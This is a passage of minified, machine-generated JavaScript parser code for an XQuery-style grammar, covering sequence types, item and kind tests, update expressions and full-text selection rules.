281:Pl(281),Il(267),jl(),ds(),Pl(287);break;default:jl(),hs()}Il(90),Pl(281),Il(267),jl(),ms(),Pl(287),ic.endNonterminal(\"CompNamespaceConstructor\",Vl)}function cs(){Hl(187),Il(242);switch($l){case 281:Hl(281),Il(267),vs(),Hl(287);break;default:ps()}Il(90),Hl(281),Il(267),gs(),Hl(287)}function hs(){ic.startNonterminal(\"Prefix\",Vl),Ga(),ic.endNonterminal(\"Prefix\",Vl)}function ps(){Ya()}function ds(){ic.startNonterminal(\"PrefixExpr\",Vl),G(),ic.endNonterminal(\"PrefixExpr\",Vl)}function vs(){Y()}function ms(){ic.startNonterminal(\"URIExpr\",Vl),G(),ic.endNonterminal(\"URIExpr\",Vl)}function gs(){Y()}function ys(){ic.startNonterminal(\"FunctionItemExpr\",Vl);switch($l){case 147:ql(95);break;default:Wl=$l}switch(Wl){case 33:case 18067:Ss();break;default:ws()}ic.endNonterminal(\"FunctionItemExpr\",Vl)}function bs(){switch($l){case 147:ql(95);break;default:Wl=$l}switch(Wl){case 33:case 18067:xs();break;default:Es()}}function ws(){ic.startNonterminal(\"NamedFunctionRef\",Vl),$a(),Il(20),Pl(29),Il(16),Pl(8),ic.endNonterminal(\"NamedFunctionRef\",Vl)}function Es(){Ja(),Il(20),Hl(29),Il(16),Hl(8)}function Ss(){ic.startNonterminal(\"InlineFunctionExpr\",Vl);for(;;){Il(101);if($l!=33)break;jl(),B()}Pl(147),Il(22),Pl(35),Il(98),$l==31&&(jl(),U()),Pl(38),Il(115),$l==80&&(Pl(80),Il(254),jl(),Ls()),Il(90),jl(),V(),ic.endNonterminal(\"InlineFunctionExpr\",Vl)}function xs(){for(;;){Il(101);if($l!=33)break;j()}Hl(147),Il(22),Hl(35),Il(98),$l==31&&z(),Hl(38),Il(115),$l==80&&(Hl(80),Il(254),As()),Il(90),$()}function Ts(){ic.startNonterminal(\"SingleType\",Vl),ko(),Il(226),$l==65&&Pl(65),ic.endNonterminal(\"SingleType\",Vl)}function Ns(){Lo(),Il(226),$l==65&&Hl(65)}function Cs(){ic.startNonterminal(\"TypeDeclaration\",Vl),Pl(80),Il(254),jl(),Ls(),ic.endNonterminal(\"TypeDeclaration\",Vl)}function ks(){Hl(80),Il(254),As()}function Ls(){ic.startNonterminal(\"SequenceType\",Vl);switch($l){case 35:ql(259);break;case 125:ql(233);break;default:Wl=$l}switch(Wl){case 18045:case 19491:$l==125&&Pl(125),Il(22),Pl(35),Il(23),Pl(38);break;default:_s(),Il(229);switch($l){case 40:case 41:case 65:jl(),Os();break;default:}}ic.endNonterminal(\"SequenceType\",Vl)}function As(){switch($l){case 35:ql(259);break;case 125:ql(233);break;default:Wl=$l}switch(Wl){case 18045:case 19491:$l==125&&Hl(125),Il(22),Hl(35),Il(23),Hl(38);break;default:Ds(),Il(229);switch($l){case 40:case 41:case 65:Ms();break;default:}}}function Os(){ic.startNonterminal(\"OccurrenceIndicator\",Vl);switch($l){case 65:Pl(65);break;case 40:Pl(40);break;default:Pl(41)}ic.endNonterminal(\"OccurrenceIndicator\",Vl)}function Ms(){switch($l){case 65:Hl(65);break;case 40:Hl(40);break;default:Hl(41)}}function _s(){ic.startNonterminal(\"ItemType\",Vl);switch($l){case 79:case 83:case 97:case 121:case 122:case 147:case 167:case 169:case 188:case 194:case 198:case 220:case 230:case 231:case 247:case 249:ql(233);break;default:Wl=$l}if(Wl==12879||Wl==12969||Wl==12998||Wl==13047||Wl==13903||Wl==13993||Wl==14022||Wl==14071||Wl==19535||Wl==19625||Wl==19654||Wl==19703||Wl==20047||Wl==20137||Wl==20166||Wl==20215||Wl==20559||Wl==20649||Wl==20678||Wl==20727||Wl==21071||Wl==21161||Wl==21190||Wl==21239||Wl==21583||Wl==21673||Wl==21702||Wl==21751||Wl==22095||Wl==22185||Wl==22214||Wl==22263||Wl==25679||Wl==25769||Wl==25798||Wl==25847||Wl==27215||Wl==27305||Wl==27334||Wl==27383||Wl==27727||Wl==27817||Wl==27846||Wl==27895||Wl==28239||Wl==28329||Wl==28358||Wl==28407||Wl==29775||Wl==29865||Wl==29894||Wl==29943||Wl==30287||Wl==30377||Wl==30406||Wl==30455||Wl==31311||Wl==31401||Wl==31430||Wl==31479||Wl==31823||Wl==31913||Wl==31942||Wl==31991||Wl==32335||Wl==32425||Wl==32454||Wl==32503||Wl==32847||Wl==32937||Wl==32966||Wl==33015||Wl==33359||Wl==33449||Wl==33478||Wl==33527||Wl==35919||Wl==36009||Wl==36038||Wl==36087||Wl==36431||Wl==36521||Wl==36550||Wl==36599||Wl==37455||Wl==37545||Wl==37574||Wl==37623||Wl==38991||Wl==39081||Wl==39110||Wl==39159||Wl==41039||Wl==41129||Wl==41158||Wl==41207||Wl==41551||Wl==41641||Wl==41670||Wl==41719||Wl==42063||Wl==42153||Wl==42182||Wl==42231||Wl==43599||Wl==43689||Wl==43718||Wl==43767||Wl==45647||Wl==45737||Wl==45766||Wl==45815||Wl==48719||Wl==48809||Wl==48838||Wl==48887||Wl==51279||Wl==51369||Wl==51398||Wl==51447||Wl==54351||Wl==54441||Wl==54470||Wl==54519||Wl==56399||Wl==56489||Wl==56518||Wl==56567||Wl==58447||Wl==58537||Wl==58566||Wl==58615||Wl==61007||Wl==61097||Wl==61126||Wl==61175||Wl==63055||Wl==63145||Wl==63174||Wl==63223||Wl==63567||Wl==63657||Wl==63686||Wl==63735||Wl==65103||Wl==65193||Wl==65222||Wl==65271||Wl==66127||Wl==66217||Wl==66246||Wl==66295||Wl==67663||Wl==67753||Wl==67782||Wl==67831||Wl==68687||Wl==68777||Wl==68806||Wl==68855||Wl==71247||Wl==71337||Wl==71366||Wl==71415||Wl==75855||Wl==75945||Wl==75974||Wl==76023||Wl==76879||Wl==76969||Wl==76998||Wl==77047||Wl==77903||Wl==77993||Wl==78022||Wl==78071||Wl==78415||Wl==78505||Wl==78534||Wl==78583||Wl==79951||Wl==80041||Wl==80070||Wl==80119||Wl==83023||Wl==83113||Wl==83142||Wl==83191||Wl==84047||Wl==84137||Wl==84166||Wl==84215||Wl==84559||Wl==84649||Wl==84678||Wl==84727||Wl==85071||Wl==85161||Wl==85190||Wl==85239||Wl==89679||Wl==89769||Wl==89798||Wl==89847||Wl==90703||Wl==90793||Wl==90822||Wl==90871||Wl==92751||Wl==92841||Wl==92870||Wl==92919||Wl==93775||Wl==93865||Wl==93894||Wl==93943||Wl==94287||Wl==94377||Wl==94406||Wl==94455||Wl==96847||Wl==96937||Wl==96966||Wl==97015||Wl==103503||Wl==103593||Wl==103622||Wl==103671||Wl==104527||Wl==104617||Wl==104646||Wl==104695||Wl==105039||Wl==105129||Wl==105158||Wl==105207||Wl==107087||Wl==107177||Wl==107206||Wl==107255||Wl==114767||Wl==114857||Wl==114886||Wl==114935||Wl==116815||Wl==116905||Wl==116934||Wl==116983||Wl==118863||Wl==118953||Wl==118982||Wl==119031||Wl==121423||Wl==121513||Wl==121542||Wl==121591||Wl==123471||Wl==123561||Wl==123590||Wl==123639||Wl==123983||Wl==124073||Wl==124102||Wl==124151||Wl==129103||Wl==129193||Wl==129222||Wl==129271||Wl==129615||Wl==129705||Wl==129734||Wl==129783||Wl==133199||Wl==133289||Wl==133318||Wl==133367||Wl==139343||Wl==139433||Wl==139462||Wl==139511||Wl==141391||Wl==141481||Wl==141510||Wl==141559||Wl==142927||Wl==143017||Wl==143046||Wl==143095||Wl==143951||Wl==144041||Wl==144070||Wl==144119||Wl==145487||Wl==145577||Wl==145606||Wl==145655||Wl==145999||Wl==146089||Wl==146118||Wl==146167||Wl==146511||Wl==146601||Wl==146630||Wl==146679||Wl==147023||Wl==147113||Wl==147142||Wl==147191){Wl=uc(6,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Xs(),Wl=-4}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Hs(),Wl=-6}catch(f){Wl=-7}}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(6,Vl,Wl)}}switch(Wl){case 18003:case 18017:case 18041:case 18042:case 18108:case 18114:case 18140:case 18150:case 18151:case 18169:Vs();break;case 18087:Pl(167),Il(22),Pl(35),Il(23),Pl(38);break;case 33:case 18067:Mo();break;case 35:jo();break;case-6:case 17999:case 18089:case 18118:Ps();break;case-7:case 18167:Bs();break;default:Ws()}ic.endNonterminal(\"ItemType\",Vl)}function Ds(){switch($l){case 79:case 83:case 97:case 121:case 122:case 147:case 167:case 169:case 188:case 194:case 198:case 220:case 230:case 231:case 247:case 249:ql(233);break;default:Wl=$l}if(Wl==12879||Wl==12969||Wl==12998||Wl==13047||Wl==13903||Wl==13993||Wl==14022||Wl==14071||Wl==19535||Wl==19625||Wl==19654||Wl==19703||Wl==20047||Wl==20137||Wl==20166||Wl==20215||Wl==20559||Wl==20649||Wl==20678||Wl==20727||Wl==21071||Wl==21161||Wl==21190||Wl==21239||Wl==21583||Wl==21673||Wl==21702||Wl==21751||Wl==22095||Wl==22185||Wl==22214||Wl==22263||Wl==25679||Wl==25769||Wl==25798||Wl==25847||Wl==27215||Wl==27305||Wl==27334||Wl==27383||Wl==27727||Wl==27817||Wl==27846||Wl==27895||Wl==28239||Wl==28329||Wl==28358||Wl==28407||Wl==29775||Wl==29865||Wl==29894||Wl==29943||Wl==30287||Wl==30377||Wl==30406||Wl==30455||Wl==31311||Wl==31401||Wl==31430||Wl==31479||Wl==31823||Wl==31913||Wl==31942||Wl==31991||Wl==32335||Wl==32425||Wl==32454||Wl==32503||Wl==32847||Wl==32937||Wl==32966||Wl==33015||Wl==33359||Wl==33449||Wl==33478||Wl==33527||Wl==35919||Wl==36009||Wl==36038||Wl==36087||Wl==36431||Wl==36521||Wl==36550||Wl==36599||Wl==37455||Wl==37545||Wl==37574||Wl==37623||Wl==38991||Wl==39081||Wl==39110||Wl==39159||Wl==41039||Wl==41129||Wl==41158||Wl==41207||Wl==41551||Wl==41641||Wl==41670||Wl==41719||Wl==42063||Wl==42153||Wl==42182||Wl==42231||Wl==43599||Wl==43689||Wl==43718||Wl==43767||Wl==45647||Wl==45737||Wl==45766||Wl==45815||Wl==48719||Wl==48809||Wl==48838||Wl==48887||Wl==51279||Wl==51369||Wl==51398||Wl==51447||Wl==54351||Wl==54441||Wl==54470||Wl==54519||Wl==56399||Wl==56489||Wl==56518||Wl==56567||Wl==58447||Wl==58537||Wl==58566||Wl==58615||Wl==61007||Wl==61097||Wl==61126||Wl==61175||Wl==63055||Wl==63145||Wl==63174||Wl==63223||Wl==63567||Wl==63657||Wl==63686||Wl==63735||Wl==65103||Wl==65193||Wl==65222||Wl==65271||Wl==66127||Wl==66217||Wl==66246||Wl==66295||Wl==67663||Wl==67753||Wl==67782||Wl==67831||Wl==68687||Wl==68777||Wl==68806||Wl==68855||Wl==71247||Wl==71337||Wl==71366||Wl==71415||Wl==75855||Wl==75945||Wl==75974||Wl==76023||Wl==76879||Wl==76969||Wl==76998||Wl==77047||Wl==77903||Wl==77993||Wl==78022||Wl==78071||Wl==78415||Wl==78505||Wl==78534||Wl==78583||Wl==79951||Wl==80041||Wl==80070||Wl==80119||Wl==83023||Wl==83113||Wl==83142||Wl==83191||Wl==84047||Wl==84137||Wl==84166||Wl==84215||Wl==84559||Wl==84649||Wl==84678||Wl==84727||Wl==85071||Wl==85161||Wl==85190||Wl==85239||Wl==89679||Wl==89769||Wl==89798||Wl==89847||Wl==90703||Wl==90793||Wl==90822||Wl==90871||Wl==92751||Wl==92841||Wl==92870||Wl==92919||Wl==93775||Wl==93865||Wl==93894||Wl==93943||Wl==94287||Wl==94377||Wl==94406||Wl==94455||Wl==96847||Wl==96937||Wl==96966||Wl==97015||Wl==103503||Wl==103593||Wl==103622||Wl==103671||Wl==104527||Wl==104617||Wl==104646||Wl==104695||Wl==105039||Wl==105129||Wl==105158||Wl==105207||Wl==107087||Wl==107177||Wl==107206||Wl==107255||Wl==114767||Wl==114857||Wl==114886||Wl==114935||Wl==116815||Wl==116905||Wl==116934||Wl==116983||Wl==118863||Wl==118953||Wl==118982||Wl==119031||Wl==121423||Wl==121513||Wl==121542||Wl==121591||Wl==123471||Wl==123561||Wl==123590||Wl==123639||Wl==123983||Wl==124073||Wl==124102||Wl==124151||Wl==129103||Wl==129193||Wl==129222||Wl==129271||Wl==129615||Wl==129705||Wl==129734||Wl==129783||Wl==133199||Wl==133289||Wl==133318||Wl==133367||Wl==139343||Wl==139433||Wl==139462||Wl==139511||Wl==141391||Wl==141481||Wl==141510||Wl==141559||Wl==142927||Wl==143017||Wl==143046||Wl==143095||Wl==143951||Wl==144041||Wl==144070||Wl==144119||Wl==145487||Wl==145577||Wl==145606||Wl==145655||Wl==145999||Wl==146089||Wl==146118||Wl==146167||Wl==146511||Wl==146601||Wl==146630||Wl==146679||Wl==147023||Wl==147113||Wl==147142||Wl==147191){Wl=uc(6,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Xs(),oc(6,t,-4),Wl=-8}catch(a){try{Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),Hs(),oc(6,t,-6),Wl=-8}catch(f){Wl=-7,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(6,t,-7)}}}}switch(Wl){case 18003:case 18017:case 18041:case 18042:case 18108:case 18114:case 18140:case 18150:case 18151:case 18169:$s();break;case 18087:Hl(167),Il(22),Hl(35),Il(23),Hl(38);break;case 33:case 18067:_o();break;case 35:Fo();break;case-6:case 17999:case 18089:case 18118:Hs();break;case-7:case 18167:js();break;case-8:break;default:Xs()}}function Ps(){ic.startNonterminal(\"JSONTest\",Vl);switch($l){case 169:Fs();break;case 198:qs();break;default:Us()}ic.endNonterminal(\"JSONTest\",Vl)}function Hs(){switch($l){case 169:Is();break;case 198:Rs();break;default:zs()}}function Bs(){ic.startNonterminal(\"StructuredItemTest\",Vl),Pl(247),Il(233),$l==35&&(Pl(35),Il(23),Pl(38)),ic.endNonterminal(\"StructuredItemTest\",Vl)}function js(){Hl(247),Il(233),$l==35&&(Hl(35),Il(23),Hl(38))}function Fs(){ic.startNonterminal(\"JSONItemTest\",Vl),Pl(169),Il(233),$l==35&&(Pl(35),Il(23),Pl(38)),ic.endNonterminal(\"JSONItemTest\",Vl)}function Is(){Hl(169),Il(233),$l==35&&(Hl(35),Il(23),Hl(38))}function qs(){ic.startNonterminal(\"JSONObjectTest\",Vl),Pl(198),Il(233),$l==35&&(Pl(35),Il(23),Pl(38)),ic.endNonterminal(\"JSONObjectTest\",Vl)}function Rs(){Hl(198),Il(233),$l==35&&(Hl(35),Il(23),Hl(38))}function Us(){ic.startNonterminal(\"JSONArrayTest\",Vl),Pl(79),Il(233),$l==35&&(Pl(35),Il(23),Pl(38)),ic.endNonterminal(\"JSONArrayTest\",Vl)}function zs(){Hl(79),Il(233),$l==35&&(Hl(35),Il(23),Hl(38))}function Ws(){ic.startNonterminal(\"AtomicOrUnionType\",Vl),$a(),ic.endNonterminal(\"AtomicOrUnionType\",Vl)}function Xs(){Ja()}function Vs(){ic.startNonterminal(\"KindTest\",Vl);switch($l){case 121:Qs();break;case 122:vo();break;case 83:oo();break;case 231:bo();break;case 230:lo();break;case 220:io();break;case 97:eo();break;case 249:Ys();break;case 188:no();break;default:Js()}ic.endNonterminal(\"KindTest\",Vl)}function $s(){switch($l){case 121:Gs();break;case 122:mo();break;case 83:uo();break;case 231:wo();break;case 230:co();break;case 220:so();break;case 97:to();break;case 249:Zs();break;case 188:ro();break;default:Ks()}}function Js(){ic.startNonterminal(\"AnyKindTest\",Vl),Pl(194),Il(22),Pl(35),Il(23),Pl(38),ic.endNonterminal(\"AnyKindTest\",Vl)}function Ks(){Hl(194),Il(22),Hl(35),Il(23),Hl(38)}function Qs(){ic.startNonterminal(\"DocumentTest\",Vl),Pl(121),Il(22),Pl(35),Il(154);if($l!=38)switch($l){case 122:jl(),vo();break;default:jl(),bo()}Il(23),Pl(38),ic.endNonterminal(\"DocumentTest\",Vl)}function Gs(){Hl(121),Il(22),Hl(35),Il(154);if($l!=38)switch($l){case 122:mo();break;default:wo()}Il(23),Hl(38)}function Ys(){ic.startNonterminal(\"TextTest\",Vl),Pl(249),Il(22),Pl(35),Il(23),Pl(38),ic.endNonterminal(\"TextTest\",Vl)}function Zs(){Hl(249),Il(22),Hl(35),Il(23),Hl(38)}function eo(){ic.startNonterminal(\"CommentTest\",Vl),Pl(97),Il(22),Pl(35),Il(23),Pl(38),ic.endNonterminal(\"CommentTest\",Vl)}function to(){Hl(97),Il(22),Hl(35),Il(23),Hl(38)}function no(){ic.startNonterminal(\"NamespaceNodeTest\",Vl),Pl(188),Il(22),Pl(35),Il(23),Pl(38),ic.endNonterminal(\"NamespaceNodeTest\",Vl)}function ro(){Hl(188),Il(22),Hl(35),Il(23),Hl(38)}function io(){ic.startNonterminal(\"PITest\",Vl),Pl(220),Il(22),Pl(35),Il(244);if($l!=38)switch($l){case 11:Pl(11);break;default:jl(),Ga()}Il(23),Pl(38),ic.endNonterminal(\"PITest\",Vl)}function so(){Hl(220),Il(22),Hl(35),Il(244);if($l!=38)switch($l){case 11:Hl(11);break;default:Ya()}Il(23),Hl(38)}function oo(){ic.startNonterminal(\"AttributeTest\",Vl),Pl(83),Il(22),Pl(35),Il(255),$l!=38&&(jl(),ao(),Il(105),$l==42&&(Pl(42),Il(246),jl(),Ao())),Il(23),Pl(38),ic.endNonterminal(\"AttributeTest\",Vl)}function uo(){Hl(83),Il(22),Hl(35),Il(255),$l!=38&&(fo(),Il(105),$l==42&&(Hl(42),Il(246),Oo())),Il(23),Hl(38)}function ao(){ic.startNonterminal(\"AttribNameOrWildcard\",Vl);switch($l){case 39:Pl(39);break;default:xo()}ic.endNonterminal(\"AttribNameOrWildcard\",Vl)}function fo(){switch($l){case 39:Hl(39);break;default:To()}}function lo(){ic.startNonterminal(\"SchemaAttributeTest\",Vl),Pl(230),Il(22),Pl(35),Il(246),jl(),ho(),Il(23),Pl(38),ic.endNonterminal(\"SchemaAttributeTest\",Vl)}function co(){Hl(230),Il(22),Hl(35),Il(246),po(),Il(23),Hl(38)}function ho(){ic.startNonterminal(\"AttributeDeclaration\",Vl),xo(),ic.endNonterminal(\"AttributeDeclaration\",Vl)}function po(){To()}function vo(){ic.startNonterminal(\"ElementTest\",Vl),Pl(122),Il(22),Pl(35),Il(255),$l!=38&&(jl(),go(),Il(105),$l==42&&(Pl(42),Il(246),jl(),Ao(),Il(106),$l==65&&Pl(65))),Il(23),Pl(38),ic.endNonterminal(\"ElementTest\",Vl)}function mo(){Hl(122),Il(22),Hl(35),Il(255),$l!=38&&(yo(),Il(105),$l==42&&(Hl(42),Il(246),Oo(),Il(106),$l==65&&Hl(65))),Il(23),Hl(38)}function go(){ic.startNonterminal(\"ElementNameOrWildcard\",Vl);switch($l){case 39:Pl(39);break;default:No()}ic.endNonterminal(\"ElementNameOrWildcard\",Vl)}function yo(){switch($l){case 39:Hl(39);break;default:Co()}}function bo(){ic.startNonterminal(\"SchemaElementTest\",Vl),Pl(231),Il(22),Pl(35),Il(246),jl(),Eo(),Il(23),Pl(38),ic.endNonterminal(\"SchemaElementTest\",Vl)}function wo(){Hl(231),Il(22),Hl(35),Il(246),So(),Il(23),Hl(38)}function Eo(){ic.startNonterminal(\"ElementDeclaration\",Vl),No(),ic.endNonterminal(\"ElementDeclaration\",Vl)}function So(){Co()}function xo(){ic.startNonterminal(\"AttributeName\",Vl),$a(),ic.endNonterminal(\"AttributeName\",Vl)}function To(){Ja()}function No(){ic.startNonterminal(\"ElementName\",Vl),$a(),ic.endNonterminal(\"ElementName\",Vl)}function Co(){Ja()}function ko(){ic.startNonterminal(\"SimpleTypeName\",Vl),Ao(),ic.endNonterminal(\"SimpleTypeName\",Vl)}function Lo(){Oo()}function Ao(){ic.startNonterminal(\"TypeName\",Vl),$a(),ic.endNonterminal(\"TypeName\",Vl)}function Oo(){Ja()}function Mo(){ic.startNonterminal(\"FunctionTest\",Vl);for(;;){Il(101);if($l!=33)break;jl(),B()}switch($l){case 147:ql(22);break;default:Wl=$l}Wl=uc(7,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Po(),Wl=-1}catch(a){Wl=-2}Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(7,Vl,Wl)}switch(Wl){case-1:jl(),Do();break;default:jl(),Ho()}ic.endNonterminal(\"FunctionTest\",Vl)}function _o(){for(;;){Il(101);if($l!=33)break;j()}switch($l){case 147:ql(22);break;default:Wl=$l}Wl=uc(7,Vl);if(Wl==0){var e=Xl,t=Vl,n=$l,r=Jl,i=Kl,s=Ql,o=Gl,u=Yl;try{Po(),oc(7,t,-1),Wl=-3}catch(a){Wl=-2,Xl=e,Vl=t,$l=n,$l==0?cc=t:(Jl=r,Kl=i,Ql=s,Ql==0?cc=i:(Gl=o,Yl=u,cc=u)),oc(7,t,-2)}}switch(Wl){case-1:Po();break;case-3:break;default:Bo()}}function Do(){ic.startNonterminal(\"AnyFunctionTest\",Vl),Pl(147),Il(22),Pl(35),Il(24),Pl(39),Il(23),Pl(38),ic.endNonterminal(\"AnyFunctionTest\",Vl)}function Po(){Hl(147),Il(22),Hl(35),Il(24),Hl(39),Il(23),Hl(38)}function Ho(){ic.startNonterminal(\"TypedFunctionTest\",Vl),Pl(147),Il(22),Pl(35),Il(259);if($l!=38){jl(),Ls();for(;;){Il(105);if($l!=42)break;Pl(42),Il(254),jl(),Ls()}}Pl(38),Il(33),Pl(80),Il(254),jl(),Ls(),ic.endNonterminal(\"TypedFunctionTest\",Vl)}function Bo(){Hl(147),Il(22),Hl(35),Il(259);if($l!=38){As();for(;;){Il(105);if($l!=42)break;Hl(42),Il(254),As()}}Hl(38),Il(33),Hl(80),Il(254),As()}function jo(){ic.startNonterminal(\"ParenthesizedItemType\",Vl),Pl(35),Il(254),jl(),_s(),Il(23),Pl(38),ic.endNonterminal(\"ParenthesizedItemType\",Vl)}function Fo(){Hl(35),Il(254),Ds(),Il(23),Hl(38)}function Io(){ic.startNonterminal(\"RevalidationDecl\",Vl),Pl(109),Il(75),Pl(226),Il(162);switch($l){case 245:Pl(245);break;case 174:Pl(174);break;default:Pl(238)}ic.endNonterminal(\"RevalidationDecl\",Vl)}function qo(){ic.startNonterminal(\"InsertExprTargetChoice\",Vl);switch($l){case 71:Pl(71);break;case 85:Pl(85);break;default:if($l==80){Pl(80),Il(123);switch($l){case 136:Pl(136);break;default:Pl(173)}}Il(57),Pl(165)}ic.endNonterminal(\"InsertExprTargetChoice\",Vl)}function Ro(){switch($l){case 71:Hl(71);break;case 85:Hl(85);break;default:if($l==80){Hl(80),Il(123);switch($l){case 136:Hl(136);break;default:Hl(173)}}Il(57),Hl(165)}}function Uo(){ic.startNonterminal(\"InsertExpr\",Vl),Pl(161),Il(133);switch($l){case 194:Pl(194);break;default:Pl(195)}Il(267),jl(),Qo(),jl(),qo(),Il(267),jl(),Yo(),ic.endNonterminal(\"InsertExpr\",Vl)}function zo(){Hl(161),Il(133);switch($l){case 194:Hl(194);break;default:Hl(195)}Il(267),Go(),Ro(),Il(267),Zo()}function Wo(){ic.startNonterminal(\"DeleteExpr\",Vl),Pl(111),Il(133);switch($l){case 194:Pl(194);break;default:Pl(195)}Il(267),jl(),Yo(),ic.endNonterminal(\"DeleteExpr\",Vl)}function Xo(){Hl(111),Il(133);switch($l){case 194:Hl(194);break;default:Hl(195)}Il(267),Zo()}function Vo(){ic.startNonterminal(\"ReplaceExpr\",Vl),Pl(223),Il(134),$l==267&&(Pl(267),Il(67),Pl(200)),Il(65),Pl(194),Il(267),jl(),Yo(),Pl(276),Il(267),jl(),Wf(),ic.endNonterminal(\"ReplaceExpr\",Vl)}function $o(){Hl(223),Il(134),$l==267&&(Hl(267),Il(67),Hl(200)),Il(65),Hl(194),Il(267),Zo(),Hl(276),Il(267),Xf()}function Jo(){ic.startNonterminal(\"RenameExpr\",Vl),Pl(222),Il(65),Pl(194),Il(267),jl(),Yo(),Pl(80),Il(267),jl(),eu(),ic.endNonterminal(\"RenameExpr\",Vl)}function Ko(){Hl(222),Il(65),Hl(194),Il(267),Zo(),Hl(80),Il(267),tu()}function Qo(){ic.startNonterminal(\"SourceExpr\",Vl),Wf(),ic.endNonterminal(\"SourceExpr\",Vl)}function Go(){Xf()}function Yo(){ic.startNonterminal(\"TargetExpr\",Vl),Wf(),ic.endNonterminal(\"TargetExpr\",Vl)}function Zo(){Xf()}function eu(){ic.startNonterminal(\"NewNameExpr\",Vl),Wf(),ic.endNonterminal(\"NewNameExpr\",Vl)}function tu(){Xf()}function nu(){ic.startNonterminal(\"TransformExpr\",Vl),Pl(104),Il(21),jl(),iu();for(;;){if($l!=42)break;Pl(42),Il(21),jl(),iu()}Pl(184),Il(267),jl(),Wf(),Pl(224),Il(267),jl(),Wf(),ic.endNonterminal(\"TransformExpr\",Vl)}function ru(){Hl(104),Il(21),su();for(;;){if($l!=42)break;Hl(42),Il(21),su()}Hl(184),Il(267),Xf(),Hl(224),Il(267),Xf()}function iu(){ic.startNonterminal(\"TransformSpec\",Vl),Pl(31),Il(246),jl(),Ti(),Il(28),Pl(53),Il(267),jl(),Wf(),ic.endNonterminal(\"TransformSpec\",Vl)}function su(){Hl(31),Il(246),Ni(),Il(28),Hl(53),Il(267),Xf()}function ou(){ic.startNonterminal(\"FTSelection\",Vl),lu();for(;;){Il(212);switch($l){case 82:ql(161);break;default:Wl=$l}if(Wl!=116&&Wl!=118&&Wl!=128&&Wl!=206&&Wl!=227&&Wl!=275&&Wl!=65106&&Wl!=123986)break;jl(),Pu()}ic.endNonterminal(\"FTSelection\",Vl)}function uu(){cu();for(;;){Il(212);switch($l){case 82:ql(161);break;default:Wl=$l}if(Wl!=116&&Wl!=118&&Wl!=128&&Wl!=206&&Wl!=227&&Wl!=275&&Wl!=65106&&Wl!=123986)break;Hu()}}function au(){ic.startNonterminal(\"FTWeight\",Vl),Pl(270),Il(90),Pl(281),Il(267),jl(),G(),Pl(287),ic.endNonterminal(\"FTWeight\",Vl)}function fu(){Hl(270),Il(90),Hl(281),Il(267),Y(),Hl(287)}function lu(){ic.startNonterminal(\"FTOr\",Vl),hu();for(;;){if($l!=146)break;Pl(146),Il(177),jl(),hu()}ic.endNonterminal(\"FTOr\",Vl)}function cu(){pu();for(;;){if($l!=146)break;Hl(146),Il(177),pu()}}function hu(){ic.startNonterminal(\"FTAnd\",Vl),du();for(;;){if($l!=144)break;Pl(144),Il(177),jl(),du()}ic.endNonterminal(\"FTAnd\",Vl)}function pu(){vu();for(;;){if($l!=144)break;Hl(144),Il(177),vu()}}function du(){ic.startNonterminal(\"FTMildNot\",Vl),mu();for(;;){Il(213);if($l!=196)break;Pl(196),Il(56),Pl(156),Il(177),jl(),mu()}ic.endNonterminal(\"FTMildNot\",Vl)}function vu(){gu();for(;;){Il(213);if($l!=196)break;Hl(196),Il(56),Hl(156),Il(177),gu()}}function mu(){ic.startNonterminal(\"FTUnaryNot\",Vl),$l==145&&Pl(145),Il(164),jl(),yu(),ic.endNonterminal(\"FTUnaryNot\",Vl)}function gu(){$l==145&&Hl(145),Il(164),bu()}function yu(){ic.startNonterminal(\"FTPrimaryWithOptions\",Vl),wu(),Il(214),$l==265&&(jl(),Qu()),$l==270&&(jl(),au()),ic.endNonterminal(\"FTPrimaryWithOptions\",Vl)}function bu(){Eu(),Il(214),$l==265&&Gu(),$l==270&&fu()}function wu(){ic.startNonterminal(\"FTPrimary\",Vl);switch($l){case 35:Pl(35),Il(177),jl(),ou(),Pl(38);break;case 36:Cu();break;default:Su(),Il(215),$l==199&&(jl(),Ou())}ic.endNonterminal(\"FTPrimary\",Vl)}function Eu(){switch($l){case 35:Hl(35),Il(177),uu(),Hl(38);break;case 36:ku();break;default:xu(),Il(215),$l==199&&Mu()}}function Su(){ic.startNonterminal(\"FTWords\",Vl),Tu(),Il(221);if($l==72||$l==77||$l==214)jl(),Lu();ic.endNonterminal(\"FTWords\",Vl)}function xu(){Nu(),Il(221),($l==72||$l==77||$l==214)&&Au()}function Tu(){ic.startNonterminal(\"FTWordsValue\",Vl);switch($l){case 11:Pl(11);break;default:Pl(281),Il(267),jl(),G(),Pl(287)}ic.endNonterminal(\"FTWordsValue\",Vl)}function Nu(){switch($l){case 11:Hl(11);break;default:Hl(281),Il(267),Y(),Hl(287)}}function Cu(){ic.startNonterminal(\"FTExtensionSelection\",Vl);for(;;){jl(),Lr(),Il(104);if($l!=36)break}Pl(281),Il(184),$l!=287&&(jl(),ou()),Pl(287),ic.endNonterminal(\"FTExtensionSelection\",Vl)}function ku(){for(;;){Ar(),Il(104);if($l!=36)break}Hl(281),Il(184),$l!=287&&uu(),Hl(287)}function Lu(){ic.startNonterminal(\"FTAnyallOption\",Vl);switch($l){case 77:Pl(77),Il(218),$l==278&&Pl(278);break;case 72:Pl(72),Il(219),$l==279&&Pl(279);break;default:Pl(214)}ic.endNonterminal(\"FTAnyallOption\",Vl)}function Au(){switch($l){case 77:Hl(77),Il(218),$l==278&&Hl(278);break;case 72:Hl(72),Il(219),$l==279&&Hl(279);break;default:Hl(214)}}function 